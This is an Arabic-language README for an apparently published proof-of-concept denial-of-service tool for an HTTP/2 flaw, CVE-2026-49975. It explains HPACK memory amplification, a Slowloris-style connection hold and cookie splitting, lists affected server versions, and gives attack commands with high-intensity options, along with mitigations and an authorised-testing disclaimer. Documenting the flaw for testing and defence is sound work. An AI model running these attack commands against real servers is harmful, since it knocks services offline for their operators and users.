
CVE-2026-49975
أداة إعادة إنتاج ثغرة رفض الخدمة عن بُعد لـ HTTP/2
CVE-2026-49975 هي ثغرة رفض خدمة تؤثر على خوادم الويب الرئيسية في HTTP/2. تم اكتشاف الثغرة بواسطة شركة الأمن Calif (باستخدام OpenAI Codex) في أوائل يونيو 2026.
قنبلة HPACK المضغوطة: يتم إدخال رأس صغير جدًا (مثل "x: a") في جدول HPACK الديناميكي للخادم، ثم إرسال آلاف من المراجع المفهرسة بطول 1 بايت. كل مرجع يجبر الخادم على تخصيص قدر كبير من الذاكرة المحاسبية، بينما يستهلك العميل عرض نطاق ترددي ضئيل للغاية. يمكن أن تصل نسبة تضخيم الذاكرة إلى ~5700:1 (Envoy) و ~4000:1 (Apache httpd).
إبقاء التحكم في التدفق باستخدام Slowloris: من خلال نافذة تحكم في التدفق بحجم صفر يمنع الخادم من إرسال الردود، وإرسال إطارات WINDOW_UPDATE بشكل متقطع للحفاظ على بقاء الاتصال نشطًا، مما يؤدي إلى "تثبيت" تخصيص الذاكرة.
تجاوز بتقسيم الكوكيز: تقسيم الكوكيز الكبيرة إلى أجزاء صغيرة كثيرة لتجاوز حد عدد الرؤوس في الخادم.
| البرنامج | الإصدارات المتأثرة | الإصدارات المُصححة |
|---|
| Apache httpd (mod_http2) | < 2.0.41 | 2.0.41+ |
| nginx | < 1.29.8 | 1.29.8+ |
| OpenResty | يعتمد على nginx < 1.29.8 | 1.29.8+ |
| Envoy (CVE-2026-47774) | ≤ 1.37.2 | 1.35.11, 1.36.7, 1.37.3, 1.38.1+ |
| Microsoft IIS | Windows Server 2025 | لا يوجد تصحيح |
| Cloudflare Pingora | الإعدادات الافتراضية | لا يوجد تصحيح |
هذه الأداة مخصصة للبحث الأمني والاختبار المصرح به، وتوضح آلية هجوم ثغرة CVE-2026-49975.
pip install -r requirements.txt
# هجوم أساسي
python http2_bomb.py example.com
# ضد خادم اختبار HTTP/2 محلي (بدون TLS)
python http2_bomb.py localhost -p 8080 --no-tls
# هجوم عالي الكثافة (50 stream، 50000 مرجع لكل stream)
python http2_bomb.py example.com -s 50 -n 50000
# تفعيل تجاوز تقسيم الكوكيز
python http2_bomb.py example.com --cookie-fragments 1000
# وضع سريع (الإرسال دون الحفاظ على الاتصال)
python http2_bomb.py example.com --no-hold
| الوسيط | الشرح | القيمة الافتراضية |
|---|---|---|
target | عنوان المضيف الهدف | مطلوب |
-p, --port | منفذ الهدف | 443 |
--no-tls | تعطيل TLS | false |
-s, --streams | عدد الـ Streams المتزامنة | 10 |
-n, --headers-per-stream | عدد مراجع الرأس لكل Stream | 10000 |
--cookie-fragments | عدد أجزاء تقسيم الكوكيز | 0 |
--stream-delay | تأخير الإرسال بين الـ Streams (بالثواني) | 0.01 |
--window-update-interval | فترة إرسال WINDOW_UPDATE | 5.0s |
--no-hold | عدم الحفاظ على الاتصال بعد الإرسال | false |
--timeout | مهلة الـ Socket | 30 |
استخدم test_server.py لبدء خادم HTTP/2 بسيط للتحقق المحلي:
# إنشاء شهادة موقعة ذاتيًا
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes
# تشغيل خادم الاختبار
python test_server.py --port 8443
# تشغيل الهجوم
python http2_bomb.py localhost -p 8443
تخفيف فوري: إذا تعذر التصحيح فورًا، يمكن تعطيل HTTP/2 مؤقتًا
Protocols http/1.1http2 off;ترقية التصحيحات:
تقوية التكوين:
max_headers (nginx 1.29.8+ الافتراضي 1000)مراقبة والتنبيه:
⚠️ هذه الأداة مخصصة للبحث الأمني واختبار الاختراق المصرح به فقط.
استخدام هذه الأداة ضد أنظمة الآخرين دون إذن يعتبر غير قانوني. يجب على المستخدم الالتزام بالقوانين المحلية واختبار الأهداف المصرح بها فقط.
MIT License - لأغراض البحث الأمني والتعليم.